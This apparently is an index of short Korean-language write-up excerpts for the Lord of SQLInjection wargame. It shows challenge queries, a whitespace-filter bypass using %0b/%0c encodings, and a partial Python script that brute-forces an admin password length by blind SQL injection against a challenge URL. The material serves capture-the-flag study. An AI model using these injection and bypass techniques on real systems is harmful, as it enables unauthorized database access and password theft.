Oh! JUN

query : select id from prob_nightmare where pw=('') and id!='admin'

query : select id from prob_zombie_assassin where id='' and pw=''

query : select id from prob_succubus where id='' and pw=''

query : select id from prob_assassin where pw like ''

query : select 1234 fromprob_giant where 1 fromprob_giant 붙어있는거 공백을 만들어줘야 된다. \n, \r, \t 공백을 우회할때 많이 사용하는것들이 필터링되었다. 그래서 찾아보니까 %09 : tab(\t) %0a : line feed(\n) %0b : vertical tab %0c : form feed %0d : carriage return(\r) 이렇게 있었다. %09, %0a, %0d는 필터링 되어있으니까 나머지 %0b, %0c를 사용해보자 https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0c query : select 1234 from prob_giant where..

query : select id from prob_bugbear where id='guest' and pw='' and no=

query : select id from prob_darkknight where id='guest' and pw='' and no=

패스워드 길이 알아내기 import requests import string url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php" cookie = dict(PHPSESSID="쿠키값") for i in range(1,100): param = "?pw='|| length(pw)like'"+str(i)+"'%23" len_result = url+param response = requests.get(len_result, cookies=cookie) if response.text.find("Hello admin")>0: print("password :"+str(i)) break 패스워드 알아내기 import requests ..